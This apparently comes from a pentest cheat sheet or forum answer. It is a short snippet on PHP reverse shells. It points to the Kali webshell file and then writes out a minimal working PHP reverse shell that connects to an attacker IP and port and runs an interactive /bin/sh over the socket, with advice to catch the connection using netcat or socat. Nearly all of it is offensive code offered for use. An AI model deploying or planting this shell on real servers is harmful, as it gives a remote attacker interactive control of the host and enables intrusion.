Check out /usr/share/webshells/php/php-reverse-shell.php on Kali Linux. Note that this only works on UNIX-like systems.

Alternately, a very simple shell (suitable for running at the command line):

$attacker_ip = "10.0.0.1";
$attacker_port = 1234;
 
$sock = fsockopen($attacker_ip, $attacker_port);
 
exec("/bin/sh -i <&3 >&3 2>&3");

Catch it with netcat or socat.